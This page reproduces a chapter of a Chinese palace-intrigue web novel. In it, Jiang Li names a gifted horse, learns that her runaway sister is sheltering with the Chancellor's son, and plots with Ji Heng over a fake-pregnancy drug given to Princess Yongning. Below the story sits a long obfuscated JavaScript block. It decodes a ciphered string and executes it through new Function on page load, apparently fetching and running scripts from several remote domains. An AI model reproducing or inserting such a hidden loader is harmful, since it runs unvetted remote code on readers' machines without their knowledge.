关灯
护眼
字体:

第一百五十九章 绿帽(第1页)

章节目录保存书签

“不多,五百两银子。”“姜二小姐,莫不是在说玩笑话吧。”陆玑道。倘若所有的宝马只要五百两银子便能买到,那大街小巷上奔走的全都是这般宝马了。“千真万确,我是在东市的一处马贩手里买的。”姜梨道。说道东市,众人立刻心知肚明,东市是什么地方,那是倒腾买卖的人必去的地方。买赚买亏,全凭眼里,姜梨既然如此说,必然就是那马贩以为马驹是寻常马驹,而姜梨偏偏发现此马的不同寻常之处,才买了下来。“那姜二小姐,那马贩是在什么地方?可还有其他的马?”孔六追问。姜梨的话让他动心不已,花五百两银子买匹宝马,谁都愿意做这买卖。“是啊是啊,”闻人遥也凑热闹,“可还剩有其他马?”“其他马倒是很多,不过我之前去的时候,汗血宝马只有这么一匹。”姜梨微笑着道:“你们倘若真的想去,大可以再去,也许主人家近来又有新的宝马良驹了。”她虽然这么说,话里的意思却不是很看好。众人一听,便也晓得这事不是天天都能碰上的。遇着这马驹的人有运气,却没有眼力,有眼力的人却没有运气,遇不着这马贩,唯有姜梨既有运气又有眼力,恰好在那一日走进东市,恰好看到那马贩,然后一眼从一群小马驹中看到了这一匹。“姜二小姐真是见多识广,”陆玑抚了抚胡子,“连相马之术也懂的。”“只是略懂而已,都是照着书上写的相看。”姜梨也笑,“运气更多。”“闲话少说了,这马还没有名字吧?取一个名字。”姬老将军道:“赤龙?绝影?逸群?”“老爷子,光是咱们车骑队里,赤龙有三匹,绝影有五匹,逸群有七匹。”孔六提醒道。这些名字是惯来用的,一个车骑队里重名也不稀罕。闻人遥好奇地问,“那么多同样的名字,你们怎么区分?”“这简单,加上主人的姓氏就行了。”孔六说的理所当然,“李赤龙,王赤龙,张赤龙,倘若姓也重合了,再加上名。李三绝影,李四绝影,李五绝影,总能找得着办法。”闻人遥:“。…。”“阿蘅,那你来说,你来取个名字。”老将军道。刚说完这句话,突然从天而降一个声音,大叫道:“好马!好马!”却是姬蘅养的那只八哥小红飞了过来,离弦的箭一般飞到马驹头上,抓起早上白雪给别在小马耳边的那朵布花。小红聒噪的声音也不知是嘲讽还是欣赏,居然还说完了一句完整的话,“好花配好马,好马配好花!”姜梨:“……”她真恨不得堵住这只丢人现眼的八哥嘴,同时也不由得心生疑惑,当初在沈家的时候,这八哥也不像如今这般聒噪啊,甚至称得上是安静了。也没人教她说这些胡话,至多也就叫个人而已。莫非国公府还激发了八哥骨子里的什么特性?“这是公的母的?”闻人遥问。“是男孩子。”孔六早就看明白了。姬蘅瞥了一眼那八哥,突然道:“既然是男孩子,就叫小蓝吧。”众人:“……”孔六道:“我突然觉得,方才的赤龙、绝影、逸群都还挺不错的。”姬蘅根本没有理会孔六的话,扇子抵在马驹的额头上,微笑道:“你就叫小蓝。”小蓝得了这么个与它身份不符的身份,已然很不高兴了,似乎是想要发火,但姬蘅只是笑盈盈的看着它,摸了摸他的鬃毛,小蓝这位男孩子,便不由得打了个寒颤,动也不敢动,乖乖的任由姬蘅摸。大约这样的马都是有灵性的,而有灵性的动物又最是懂得谁才是真正危险的人。看着站在檐下那只趾高气昂的八哥小红,看着站在人群中垂头丧气的马驹小蓝,姜梨一时间,竟然无言以对。真是找不到什么合适的话来说了。对于小蓝的热情,终于在过了一会儿之后散去了。姬老将军让人将小蓝牵走,千叮咛万嘱咐千万不可让小蓝靠近国公府的花圃。大家都往堂厅走去,待走到堂厅,发现司徒九月也早就到了,海棠跟在司徒九月身边,和司徒九月看上去相处的不错。姬老将军的生辰宴,统共便也只邀请了这么些人了。想想除了孔六是在朝为官的人,这里的人都和姜家是八竿子也打不着一起的关系,难怪姜老夫人和姜元柏要不放心了。就算今日回到姜府,姜梨将这里做客的人告诉姜老夫人和姜元柏,只怕他们二人也不晓得这些人是什么身份。但换句话说,这是否意味着,姬老将军至少将她当成是自己人了呢?姜梨心想这,一边在宴席上落座。菜肴十分丰盛,闻人遥道:“今日又是咱们阿蘅下的厨,大伙儿抓紧机会赶紧吃,也别多说话,多吃,少说。”姜梨讶然的看了一眼姬蘅,竟然又是姬蘅下厨。看来逢年过节或者是姬老将军的生辰时候,都是姬蘅下厨。说是珍惜,倒也并不珍惜,因着每年都会有那么几次,说是寻常,又绝对不寻常,姜梨估摸着,这个世上能吃到姬蘅做菜的人,只怕都在这里了。,!她其实很想问,姬蘅这样的身份,是决计不必自己下厨的,为何却有一手好厨艺。但姬蘅本身不喜人谈论他厨艺一事,姜梨也就放下这个念头。再说了,她虽然好奇,但好奇并不一定要有答案。这一场寿宴,吃的倒也算是宾主尽欢。比起上一次来,姜梨与这些人熟络的更多,寿宴之上也并没有交谈什么重要的事,都是些家常闲谈。不知是不是因为姜梨送了一匹宝马的缘故,姬老将军显然对姜梨亲近多了,还与姜梨交换了一下相马之术,彼此都很有收获。这顿寿宴,姜梨仍旧没有饮酒。自从沈家这件事以后,所有的宴席,姜梨都不再饮酒了。不过众人都很体谅她不善饮酒这回事,并未相劝,特意拿了没有酒的果子露给与她喝。等这顿宴席吃玩,姬老将军众人都已经醉的横七竖八。司徒九月、海棠和姜梨三位女子却是没醉,剩下的还有清醒的人,就是姬蘅了。下人扶着醉了的人进屋,剩下的人走出堂厅,姜梨见司徒九月站在院子前,上前道:“九月姑娘。”司徒九月道:“你要的药已经做好了,我交给了姬蘅,你大可以同他讨要,不过需要记得,此药只能用三个月,三个月后,所有的孕像消失,大夫一把脉就会发现之前的脉象是假的。”“三个月已经足够了,”姜梨对着司徒九月深深地行礼,“这一次也多亏九月姑娘了。”“不必谢我。”她说完这一句话,便头也不回的钻进屋里,大约是又要做什么新药了。海棠可能是在给司徒九月打下手,姜梨看着她对着自己行过礼后,就匆匆进了司徒九月进的那间屋子。姜梨瞧着瞧着,便笑了,海棠这样子,找着了暂时可以做的事,到底心思也好些。说到底,姜梨并不希望海棠被仇恨的心思所缠绕,薛家的仇她自己会报。仇恨会改变一个人,背负着仇恨的人并不会快乐,有自己一个人就够了,不必增加其他人。“在笑什么?”正在姜梨想的出神的时候,身后突然传来姬蘅的声音。姜梨回头一看,他与自己并肩站在院子门口,并未看向自己,而是看向天空,不知在看什么。“没什么不好的事,觉得很好,就笑了。”姜梨道。“那看来接下来你会一直笑。”“什么?”姜梨一愣。姬蘅道:“跟我来。”他走出了院子。姜梨连忙跟上。这会儿国公府孔六一行人都醉倒了,司徒九月去炼药了,除了下人外,就只有姬蘅和姜梨两个人。姜梨见他走动的方向,分明是向书房走的,顿时心知肚明,大约姬蘅是有话要跟他说的。恰好,她也有话想对姬蘅说。二人走的不快也不慢,雪地里能清晰的映出两个人的脚印,姬蘅的深些,是靴子的形状,姜梨的浅些,是绣鞋的形状,一大一小,十分和谐。很快,两人就走到了书房前面,小厮将门打开,姜梨和姬蘅走了进去。书房还是姜梨熟悉的样子,黑白肃杀的模样,和姬蘅的样子极为不相衬,但又觉得,好似又是相称的。他的内心就是如此杀伐果断简单利落,黑白最好。姬蘅走到桌前,给姜梨倒了一杯茶,又给自己倒了一杯茶,姜梨发现,无论什么时候去国公府,姬蘅的书房,茶壶里的茶水,便总是温热的。这或许说明了他的性子,凡事都有准备。姜梨在他的书桌前坐了下来。“两个消息,”姬蘅道:“一个好消息一个坏消息,要听哪一个?”有一瞬间,姜梨恍惚了一下。过去薛昭同她玩闹的时候,也极喜欢喜欢这般说道“两个消息,一个好消息一个坏消息,先听哪一个”。面前坐着的年轻男人与薛昭是截然不同的人,而薛昭已经死了。她定了定神,从前她总是回答“先听好消息吧”,可今日,她却是对着姬蘅道:“坏消息。”姬蘅笑容玩味,“看来你喜欢先苦后甜。”“算是吧。”姜梨苦笑。可她何尝是先苦后甜,要知道前生做薛芳菲的时候,她的一生,实在是先甜后苦。前半生只觉得人生花团锦簇,妙不可言,即便是有不满、痛苦,都比不得欢乐来得多。所以老天是公平的,先前享福,后来就吃苦。后来发生的一切,可不就是证实了这句话。可她作为薛芳菲被沈玉容害死的苦,不知道又是什么时候才能开始“甜”。“姜幼瑶找到了。”姬蘅道。姜梨一愣,脱口而出,“她在什么地方?还在燕京城么?”“还在燕京城。”姬蘅意味深长道:“不过她呆的地方,是一个你怎么也不可能想到的地方。”姜梨见他话里有话,便安静的等待姬蘅接下来的答案。“她在右相府上。”“李家?”姜梨吃了一惊。她曾想过许多次姜幼瑶可能在什么地方,但万万没想到是在李家。李家和姜家素来不和,姜幼瑶便是再走投无路,也不至于去右相府上。况且李仲南那只老狐狸,也不至于会利用姜幼瑶来做什么,姜幼瑶对李家来说,没什么用处,说不准还会惹来一身臊,说是麻烦还差不多。,!“这是怎么回事?”姜梨皱眉道,“是李家将她抓起来了?还是李家有别的图谋?”“姜幼瑶从姜家逃走后,还没跑到季家,就遇到了麻烦,”姬蘅耸了耸肩,“你知道的,燕京城说太平也太平,说不太平,能遇上的事也挺多。路过的李濂帮她解了围,见她狼狈,就带回了右相府。”“李濂?”姜梨闻言,倒是明白了几分,“他这是早就看出了姜幼瑶的身份,才特意这么做的吧。”右相的这位小儿子李濂,和他的大哥李显不同,成日走马游街,是个纨绔子弟,虽然生了一副还算不错的皮囊,却到处胡闹。至于喜欢过多少姑娘,糟蹋过多少女孩子,姜梨也是有所耳闻的。但就是这么个人,面上却还要表现的非常温和大度,好似个君子一般,年轻的女孩子见了,稍不留意,便会被欺骗。其实别说是女孩子,便是男子,也时常被李濂的假象所迷惑。要知道叶世杰初来燕京的时候,若非姜梨从蛛丝马迹中发现不对,及时提醒了他与李濂保持距离,李濂还不知道最后会利用叶世杰来达成什么目的。李濂也跟随右相去过大大小小的宴会,要说没见过姜幼瑶,也是不可能。当初姜幼瑶身为首辅千金,美貌娇艳,燕京城勋贵子弟们大多也都了解。就算那一日姜幼瑶是偷溜出府,乔装打扮,李濂多半也能认得出来。再换句话说,如果是别人把姜幼瑶带回府,姜梨相信也许对方并未认出姜幼瑶的身份,但换了是李濂,姜梨就有理由相信,李濂是认出了姜幼瑶,才对姜幼瑶做了接下来的动作。“显然你的妹妹并不这么想,”姬蘅气定神闲道,“否则也就不会跟李濂回府了。”姜梨皱眉:“那他们后来怎么样了?”“后来……”姬蘅悠悠道,“当然是顺其自然,带回府后,说明身份,阐述难处,恳求收容,一人怜惜,一人感激,情投意合,如胶似漆……”他越说越不像话,语气里真是十足的嘲讽。“我知道了。”姜梨打断了他的话。想也知道姜幼瑶会怎么做,和姬蘅说的毫无差别,无非就是等回到李家后,洗清脸面,发现再也隐瞒不住,又看这位李二公子风度翩翩,温柔体贴,便好一番殷殷语语,哭哭啼啼,惹得知道“真相”的李二公子心生同情,决议帮这位误入歧途的小白兔隐瞒、收留,进而照顾她的未来以后。“他们现在如何了?”姜梨想了想,问,“已经到了如胶似漆的地步?”“只有多余,没有夸张。”姬蘅回答。姜梨心中简直说不出是好气还是可笑。虽然早就晓得姜幼瑶是个没脑子的,但再没脑子的人,哪怕是自私自利的姜玉娥,也都明白李家和姜家素来不和。别说是和李家的人私定终身,便是多一点交往,也是不可以的。那是把姜家的软肋亲手送到别人手上,那是给别人递刀子。虽然姜梨并不认为为了家族牺牲个人是什么很光荣的事,但覆巢之下焉有完卵,这个道理,姜幼瑶只要不是三岁小儿,也该明白的。说不准三岁小儿都懂这个道理。“她可真是不把姜家的死活放在心上,明知道李家是什么身份,也敢往上凑。”姜梨怒道。“也许她认为自己是戏文里的女角儿,李濂是男角儿,互为世仇,爱情忠贞,感天动地,最后能谱写一段赚人眼泪的传奇。”姬蘅一本正经道。他今日也不知是怎么了,嘲讽起姜幼瑶来也是不遗余力。姜梨看向他:“这事你是怎么打听到的?”“右相府上,也有我的人。”姬蘅漫不经心道:“之前没往右相府上找,觉得你那妹妹,也不至于胆大到如此地步。后来那边的人偶然发现不对,回国公府了一趟,我让人再确认一遍,才发现,”他笑了一笑,“世上还真有这么蠢的人。”姜梨闻言,心中又忍不住狠狠一跳,姬蘅竟在右相府上也埋有眼线,这燕京城的高门大户里,所有的秘密都被他掌握在手心中,也难怪他如此有恃无恐了。他晓得所有大户里深藏的秘密,也许连皇家的都一样。“不管怎么说,都谢谢你了。”姜梨道,“倘若不是你告诉我,也许姜家一辈子都不会发现姜幼瑶在李濂府上。”“现在你打算怎么办?”姬蘅摩挲着茶杯的杯面,问她,“回去就告诉你爹?”“我也还没想好,”姜梨迟疑一下,“我父亲虽然口口声声说对姜幼瑶感到失望,事实却是仍旧疼爱她。如果现在说了,我认为,他会很冲动的去同右相府上要人。一来李濂也许在很短的时间里将人藏起来,扑了个空,二来还会给李家留下把柄,说我们姜家蓄意污蔑。如今正是多事之秋,再添一事,指不定会招来什么。”“我也认为,”姬蘅道:“如果姜幼瑶对姜家来说只是个无足轻重的人物,李濂就不会对此上心了。”姜梨试探得问:“你的意思是,是让放任姜幼瑶在李家,先观察李濂究竟想做什么?”小主,这个章节后面还有哦,,后面更精彩!姬蘅摊手:“这是你们姜家的事。”姜梨只觉得头疼,姜幼瑶真是将本来就不简单的事弄得更加复杂了。可是姬蘅的话也没错,现在告诉姜元柏姜幼瑶在李家,谁知道李家会用什么法子。要么趁其不备突然去要人,要么就是等,等到过一段日子,李濂对姜幼瑶兴趣淡了,再想法子把姜幼瑶弄出来。现在看来,李仲南应当不晓得这回事,应当是李濂自己的主意。也许能获得死对头家的女儿放心对李濂来说是一件尤为自豪的事,至少在现在,他对姜幼瑶还是柔情蜜意的。这件事情现在也想不出个头绪,不如到了晚上回府再慢慢思考。姜梨想了想,问姬蘅道:“国公爷说的,好消息又是什么?”姬蘅要告诉她的,可是两件事情,姜幼瑶的事情算是一件,还有一件,到现在也没说。“司徒的假孕药已经做出来了,”姬蘅勾唇一笑,“永宁已经服下。”姜梨一愣:“什么时候?”“沈如云大婚之日,永宁和沈玉容见面之后。”姬蘅道。永宁公主是隔三差五就寻些机会和沈玉容见面的,和沈玉容见面,自然也要温存一番。姬蘅令人将药用在他们二人欢好之后,至少时日上是再合适不过。沈玉容多疑谨慎,这样子,也找不出什么不对来。姜梨喜出望外,这的确是一件好消息,应该是这段日子以来,对她来说最好不过的消息了。这意味着她的计划可以大大的往前推进一步,她不必再漫长的等待下去了。“真是太好了。”她喃喃道。“你要怎么谢我?”姬蘅挑眉。他容貌深艳,这般含笑讨恩的神态,几乎是令人惊艳的移不开眼睛。姜梨道:“国公爷需要什么,可以告诉我。事实上,便是终其所有,我也难以回报。”如果不是姬蘅,她自己要将假孕药送到永宁公主面前,再让永宁公主顺利的服下,需要花费不少的周折,其中可能还会失败,一旦失败,永宁公主就会对此心生警惕,再想下手,就会很难。姬蘅几乎让她的计划最困难的一步算是顺利完成了。姬蘅看了她一会儿,笑了笑,喝了一口茶,才道:“我暂且想不出来。不过对你接下来要做的事,倒是很好奇。”“接下来的事?”姜梨疑惑。“永宁显出孕像后,你会做什么?”他问,仿佛真是十分好奇的模样。姜梨想了想,“不知道九月姑娘的药,什么时候才会发作?”“十二个时辰之后,”姬蘅沉吟了一下,“算起来,已经发作了。”“那就很简单了。”姜梨微微一笑,“云英未嫁的姑娘,突然有了身孕。寻常人家遇到这种事,姑娘的一辈子便是毁了。大户人家为保名声,甚至会让姑娘自己悬梁。当然了,永宁是金枝玉叶,是成王殿下的亲妹妹,没有人敢让她悬梁的,她也没有必要悬梁。”她这话说的,亦是十分嘲讽。“所以在孕像不是很明显之前,定然要为永宁寻找一门好亲事。欢欢喜喜的将姑娘嫁过去,一来遮掩孕像,二来恰好这位公主也到了谈婚论嫁的年纪,这样一来得了一桩好姻缘,也是人人羡慕的喜事。”“所以,”姬蘅看着她认真的模样,忍不住微微扬唇,慢条斯理的开口,“你打算让她和沈玉容成亲?”“当然不。”这个回答,却让姬蘅的面上也显出些意外之色。“沈大人对亡妻情深义重,便是那位沈夫人给他戴了绿帽子,仍旧深情不悔。绝对不会在这么短的时间里另娶他人的,况且若是娶了永宁公主,旁人会不会说,他们早有奸情,之前桐乡一案里有谣言说,永宁公主就是背后指使冯裕堂加害薛县丞之人呢!原来她加害薛县丞,是早已心仪沈大人,给沈大人报仇啊。”“沈大人自来注重声明,不会让这种事情发生的。”姜梨道。姬蘅的手抚摸着扇子的扇柄,也跟着笑了起来,他说:“那姜二小姐打算让永宁公主嫁给谁?”“永宁公主嫁给谁,并非我能决定。是由皇上决定的。”姜梨笑道:“我至多也只能分析一下,总归刘太妃是看不上沈大人的,沈大人虽然看着不错,可到底家世太薄,白身起家,配公主么,总是高攀了。如今朝中的青年才俊,年貌相当,又家世丰厚,门当户对,嫁过去也不至于让永宁公主低嫁的,我倒是发现了一个。”她笑眯眯的吐出一句话,“右相李仲南的大公子,李显。”姬蘅一怔,突然笑了起来,他笑的极为开心,目光里,是毫不掩饰的赞赏和欣赏。“这很有趣,让永宁公主嫁给断袖李显,的确不寻常。”姜梨道:“更有趣的是,这位在女人面前不可能动情的李大公子,娶妻之后,迅速得子,李家后继有人,右相大人一定很高兴。”“就是这绿帽子,并不是人人都肯戴,世上只有一个沈玉容能容忍并且戴的甘之如饴,不知李家人戴起来,可会觉得还好,可还会善罢甘休?”到那时,成王和右相的联盟,也就像是一盘沙,吹吹也就散了。:()嫡嫁千金

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();